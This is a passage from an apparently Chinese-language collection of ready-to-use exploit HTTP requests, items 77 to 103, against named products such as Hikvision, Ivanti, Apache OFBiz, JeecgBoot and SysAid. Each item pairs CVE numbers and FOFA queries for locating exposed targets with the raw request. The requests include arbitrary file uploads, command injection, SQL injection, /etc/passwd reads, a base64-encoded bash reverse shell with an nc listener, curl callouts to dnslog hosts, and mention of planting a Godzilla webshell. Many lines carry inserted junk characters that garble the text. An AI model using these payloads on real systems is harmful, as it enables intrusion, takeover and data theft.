% R/ F) S. g8 l( o/ ^  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
# A, A% m( V  t}


0 P7 C9 O8 g- J$ h! mGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
3 P5 D3 x, U' c% G7 b5 s4 vHost: x.x.x.x

* p) z$ d2 A& X' K
# v3 G8 C" a% {. F2 h- V
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
3 m, X3 B8 x# O% [7 ~0 E7 E1 IFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
1 B* ~( h9 H. {1 e8 r5 Y/ c( e3 B( \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 F/ Z1 q& P6 X" ^6 oConnection: close
8 T: @! }( }! @0 j. K# O9 \Content-Length: 433
7 A& @3 ~$ F2 U1 @7 x: aAccept: */*
3 X) Q# r9 ~! e: S' DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
( I. b7 Q" x0 b4 X' V
------------398jnjVTTlDVXHlE7yYnfwBoix
! h2 V/ ?1 J: L5 J$ g+ K0 u+ F3 j9 a6 BContent-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
, u( Z0 w  R4 K# b+ n------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
* E0 Y- y5 A8 _6 a9 n- `6 }: C------------398jnjVTTlDVXHlE7yYnfwBoix--
3 D7 y% y2 U  M
- r! E( R) R* u9 ?6 m
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
& G1 T! O9 f  i* ~5 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: M7 q! V: i- I$ g; {' fConnection: close
Content-Length: 336
Accept-Encoding: gzip
% O7 J, i, x8 A  ~  d9 eContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
' i) D) p, `7 i# S  e5 T  tContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
! X% ]1 b4 L+ y3 S; z. h8 V$ t7 o. aContent-Type: image/png
7 \: K: {$ ?& d5 M3 X8 e
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
( `& I0 F' J9 \% U* m/ R6 U
" H& C/ L3 N# j+ P& m  j/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

/ E5 H0 b1 p, |+ s: i
6 K8 J. r: j4 d5 LGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
1 C) a, O) Z2 L6 O3 kHost: x.x.x.x


  Y* T$ _. B% T7 }* O% c! l8 Y79. BYTEVALUE 百为流控路由器远程命令执行
& U" u% s: _" t5 LFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
+ _. E& ^  h4 x2 _Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
9 x0 Y  w; f5 v4 H5 T3 t8 n  ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ A6 }3 y7 O$ d- LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p# W+ N$ T; v7 @# n! n# M' ^' lAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
$ e, K6 B4 u% R2 `* pFOFA：app="速达软件-公司产品"
9 k2 C& H! f5 GPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
- G# O# M# \9 E. T& FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& T) a# U# [% C0 w0 _5 R& _Content-Length: 27
8 L( ~* ]7 r. G* N/ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 f, Q) p: f& Q; OAccept-Encoding: gzip, deflate
# Z! x  D* U3 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* @% a& D9 c: B) U* X' TContent-Type: application/octet-stream
0 i1 N5 S: p6 y6 t! lUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

  o; v0 B7 W* W
2 F# h4 i6 Q& j! ]0 b* r  K" UGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
1 @- v* v0 P4 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) T! l# P! H! y2 a  U8 X' w* J- qAccept-Encoding: gzip

8 }9 t% E% ?1 F, q- ~* K
3 [" c; x/ {" T% B$ J/ j& z/ M81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
% k4 }: U% g, _6 O, o& WGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  K  x% `1 g& MAccept-Encoding: gzip
: y& `5 y! D! v1 {: q
( }' Q# W0 }+ Y( ~
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
- y1 o# [! L2 N4 A8 C, Y! H* l! k# VFOFA：app="思福迪-LOGBASE"
0 P4 w. Q( R  f6 @8 {1 QPOST /bhost/test_qrcode_b HTTP/1.1
5 h: z* z5 z& O; D* x% J1 e4 YHost: BaseURL
; |8 `2 E) o+ |, E: ]' {% oUser-Agent: Go-http-client/1.1
. \( N& d9 {! n+ m. ]+ i. n7 a/ [' GContent-Length: 23
' |% S, L; J7 C5 j" c  }; [% ]: AAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
9 \! K) A5 ]* F  ~, _0 M- P

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

% ]' H4 c0 l2 a$ u" M
POST /jmreport/testConnection HTTP/1.1
% g1 I0 r8 e+ R( D$ {7 ~3 d4 SHost: x.x.x.x
" k3 i8 P+ D- m# o" O8 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: Y% }0 Z7 U7 hConnection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

# j7 @) @+ ^( M+ Y. m
5 D9 W9 L6 r, Q
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
, J) |& ?/ H% S5 O! CHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
( D% p; `: w0 ^Content-Length: 156
Accept: */*
5 s4 g# ~9 P# M* @9 DConnection: close
Content-Type: application/json
Accept-Encoding: gzip

  t0 v& r0 O+ u( M. l{
, x6 z' M* \5 q+ u7 v* y5 s "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
' S) j& A6 u! i4 M8 d4 d; S3 R9 }CVE-2023-47246
) P9 o& j' z" [' x/ ?FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
% l4 \+ u( q" ^; ]4 y- C, `/ U- dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

7 ~- Q  G& a6 |PAYLOAD

- v/ M+ e* o$ ^( a* B回显URL：http://x.x.x.x/userfiles/index.jsp
% C; J0 C1 s, N. D8 X7 P" c! r" A
' P" F9 Z/ M4 \$ x5 Z* y# m7 R) C86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
' Z# b+ K1 i$ _. t, r' `Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
' B: E6 n7 l" a) HAccept-Language: en
: h- `+ e  @9 b! J8 @Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
! J& W# }9 c2 X8 p! V
# X9 i0 z+ N! r4 |+ Z, V* u1 p
87. 安恒明御安全网关aaa_local_web_preview文件上传
7 d- g, Y1 Y: l7 V" p! w" @: k: @FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
/ M2 a" j9 Y7 S8 a6 aHost: X.X.X.X
/ L& F" D9 ~7 o6 N. a5 c* [* ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
, o& t! w; y' n$ ~7 U; V
/ s5 d3 c/ o8 a# F--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
6 \9 C, i8 j8 M1 ]1 K& I$ M/ L/ e
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

7 e( b9 m% U" K9 {0 b3 b6 o
# ]5 K, j) c0 L5 t) e/jfhatuwe.php
3 l1 S8 O5 d3 ~5 n+ u# O' H6 x
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
6 c! R6 K( R. m- s* o& p4 k4 o6 aGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
9 [; k2 X1 p3 K) V. lHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! }+ |" u9 u9 n1 e9 S; `- e6 nConnection: close

: U: d8 S: q- g, m+ e6 w
/astdfkhl.php

0 l' q, Z8 w3 U1 e89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ \" y  q3 e# {$ G: @Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
' z. k; C$ s5 }$ b% n) Z( pAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
  q0 L7 W( i) ]  \, l7 H6 V
( i' B2 u  O% i9 I" u* o
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
' x/ o& _6 @( KContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
" j4 Y5 ?- e$ b! o: f0 X1 D* I: [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

+ @" A8 U" ~4 \. Ajsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

/ [9 G4 ^( W% y( L7 Q( J$ h+ |
, j, L6 H6 ^  z% x8 D91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
5 l$ W9 q) g/ ~0 Z% L6 B* U, \FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
/ m9 R$ ^5 [8 O- x/ AHost: your-ip
4 Y* F3 e8 k' r! g$ m1 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
( a8 k& A1 t: |' D# ]; @: H" E% M


92. 海康威视运行管理中心session命令执行
1 J, w7 }! x# o! zFastjson命令执行
8 x4 `% ]# h8 K8 khunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
$ [# x# D# ^' l% s& PAccept: application/json, text/plain, */*
" ^( F& F! e6 Q) j9 a9 L* nAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
" I5 o; v8 w" o8 R( EContent-Type: application/json;charset=UTF-8
  b' Y* t$ c& ^X-Language-Type: zh_CN
Testcmd: echo test
% ~% W7 ]6 `2 r8 E# x% iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
6 G4 J: j2 D- |: X9 BContent-Length: 5778

PAYLOAD

8 O. b5 @) j( N* L* H  z
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
# `9 c* w" s1 J, x( e2 m2 [FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
: a( l2 {9 u& Q& {) b# rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: r' q; w/ x& K  s* H/ D$ B
) f4 y; N6 b$ F) j------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

: W- s8 k$ m: n$ @: o) |! r10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
  O8 e5 l- }) W: n( ?, [
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
4 m0 b, |6 C+ A  J9 K+ F2 fContent-Disposition: form-data; name="submit_post"
: _: a; L& X3 R
0 }. E$ t# ^3 r7 o, Z$ Z  qobj_app_upfile
( Q$ x  _- P7 Z------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
7 o  T- ?! K0 T( X3 |
" M0 M6 w+ `, v% o; M
GET /attachements/xlskxknxa.txt HTTP/1.1
" C5 a* @+ g' O% ?6 H; zHost: xx.xx.xx.xx
0 `  K! \' j2 H2 ?User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
+ W  b/ i4 \% Z# W) EPOST /?g=obj_area_import_save HTTP/1.1
: o0 t/ Y& d& F. V& Z7 q4 S( bHost: x.x.x.x
! Q. {( F7 |; V: G+ E4 W: G1 lContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
6 `& [  |9 _  A3 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 X9 X) c8 e: u+ h# f/ _* W, _
------WebKitFormBoundarybqvzqvmt
: ?% B: D  x/ V+ k5 E1 d/ m( M5 hContent-Disposition: form-data; name="MAX_FILE_SIZE"

$ ?8 z: ?( t0 b1 [. _+ e10000000
! x8 J* L) t" Z% Q  Y------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
+ M  Y; t+ Z0 x
# W. W1 A" \- R+ L+ x/ O5 zpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
; ~8 k, v0 u- ~! D/ t
4 P1 N) T8 T) @* q5 H" ^obj_app_upfile
3 O& F8 F" \+ ]------WebKitFormBoundarybqvzqvmt
0 {' X6 ]( k9 ^/ @Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
. C# W/ j0 u1 X1 c  ~  ^------WebKitFormBoundarybqvzqvmt--

  q0 n# \; ]: F9 w  o7 J

GET /attachements/xlskxknxa.txt HTTP/1.1
; A, P# X+ e7 s) `, [Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



" z' m) w7 v8 |2 e5 \& d$ N95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" a- R. P' j- h* p, F' Z3 RCVE-2023-49070
7 A; |. J9 J; x) k7 n4 OFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
; L, ]1 @8 b7 N$ P3 SConnection: close
Content-Length: 889
( o0 x# i- E; VContent-Type: application/xml
' A  _0 j! z0 J  lAccept-Encoding: gzip

<?xml version="1.0"?>
; x( \7 r2 [* W# v<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
* N5 ^2 w/ Y7 O$ B1 p" @4 i% [    <params>
      <param>
+ u" p: A3 q( Q" v6 k9 G( l      <value>
9 j8 y1 F3 B, |9 z0 t        <struct>
       <member>
7 J. K& L) g, Q          <name>test</name>
          <value>
3 Q; s5 h/ r$ R: A. X      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
( B/ P  z# Z$ i          </value>
2 H) j# W  ]8 G        </member>
      </struct>
      </value>
0 h7 @( I9 P! c0 h    </param>
    </params>
</methodCall>


用ysoserial生成payload
% {9 i# {. K" L  T4 Kjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

! m9 H( M1 \0 E; x% \
6 u+ R! y# @$ p; h  n- Q3 M; v. I6 G" n: M将生成的payload替换到上面的POC
9 w+ R6 C  ]. u, B" H3 ]4 k# [POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
8 ~6 _7 Q5 A. b( G6 ]5 C9 d3 XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, ~) U- w# g8 U7 ~2 L( eConnection: close
Content-Length: 889
/ i$ Y3 U* S# ~- T& J2 e" bContent-Type: application/xml
' j- Y; ~% o; p+ A7 L# j8 g* OAccept-Encoding: gzip
/ E9 a% B8 p3 L& o) x" ~
PAYLOAD
3 O* m8 g% I9 S* E
96. Apache OFBiz  18.12.11 groovy 远程代码执行
0 B$ u5 \' v# J! X4 K3 o/ e* G8 _1 r. ]FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* z1 K0 u* G5 ?# f1 T! AAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
) c; X: m  e' f, Z! c+ ZContent-Length: 55

: P: Q, r5 w# X1 DgroovyProgram=throw+new+Exception('id'.execute().text);

$ ?& X1 o, U- r5 z
$ c$ e1 P. E. E# j$ J& Z. q8 n反弹shell
在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- |/ q" G1 T# Z: x, |8 D$ Z" LHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ w/ [3 N: C9 |5 \Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

3 u( I1 ]; q) h1 tgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
, k, J, Y0 O6 H5 L: B! I
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
0 @' T+ o, `) F. [4 z" @# s9 ]GET /passport/login/ HTTP/1.1
' x0 ^( b# W$ L! t! J3 P2 VHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
% L) Q& u4 G4 N/ ]Cookie: rememberMe=PAYLOAD
. z& C1 J2 ]+ a. [4 f2 FX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


( i: b5 b* Y9 K% D+ x* `6 }4 j98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
; k+ d5 [* K0 y8 w9 RFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
; c- g$ m, s) R( _" AHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
, p) j# |* a* X, U9 bContent-Length: 121
- r7 ^. J! U& sAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
& k7 h+ I( r( h6 p, g! v( m" n6 H
& z6 Z# G; w0 I+ t( [( G2 ?! hid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
5 M$ m" Z+ e% J& P; l9 nCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
$ z& K1 U! \8 t: d0 U2 ^, mHost: 192.168.40.130:8080
1 b% l, x. A+ g: ]4 @! aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
" d/ j' O3 F% D+ y9 @2 u; NContent-Length: 154
% i( }0 C9 ~5 _; GAccept: */*
- a- Q& N, I  X) xAccept-Encoding: gzip, deflate
1 c/ n- e) I" t2 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
7 w0 W; z+ Y3 q9 {
' z( N5 R9 j# \6 P8 D4 _3 r& N* O* Q%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
  E5 _% O3 O: H% l% W: v( ZFOFA：icon_hash="874152924"
5 C) w6 v  ~( x9 f/ ZPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
& d7 s) s7 A0 |8 z  J& {. g! K* i( s2 \Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

2 T6 V, h7 Q8 m! ~$ F% [------WebKitFormBoundarygcflwtei
: N8 v: e) z8 D2 r. y0 n1 BContent-Disposition: form-data; name="file";filename="IE4MGP.php"
: m" h, K2 K# s3 |' _* m! EContent-Type: application/x-php
( S# ?+ e$ Y! f; C8 T
" s) l3 T3 u- x( q# L- @2ayyhRXiAsKXL8olvF5s4qqyI2O
4 h/ {3 R/ D0 @7 M7 L0 e: ~------WebKitFormBoundarygcflwtei--
! }' B4 H; E& A" V

101. ivanti policy secure-22.6命令注入
+ Q" z# u, [7 Z6 w6 CCVE-2024-21887
% s% J& L8 ]* v  E" z. H+ d% D( A( [FOFA：body="welcome.cgi?p=logo"
1 }5 c  f/ Z; S+ @GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

% G' u1 S0 l0 \2 ~) o
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' @: @& _( }; p7 KCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
6 S* M1 x3 t; }' UPOST /dana-ws/saml20.ws HTTP/1.1
6 L# s0 ~/ G3 E& L4 _Host: x.x.x.x
; y. C: L) o# A& _  _+ a! oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
3 C8 S" t2 R  o7 V: d3 p6 h! JAccept-Encoding: gzip
+ O0 d+ [  X+ H1 V5 D; K
: o5 \- {: u/ y+ U' ?+ @8 P7 T<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
( g2 D0 ?: Z; s" ^8 E: EPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
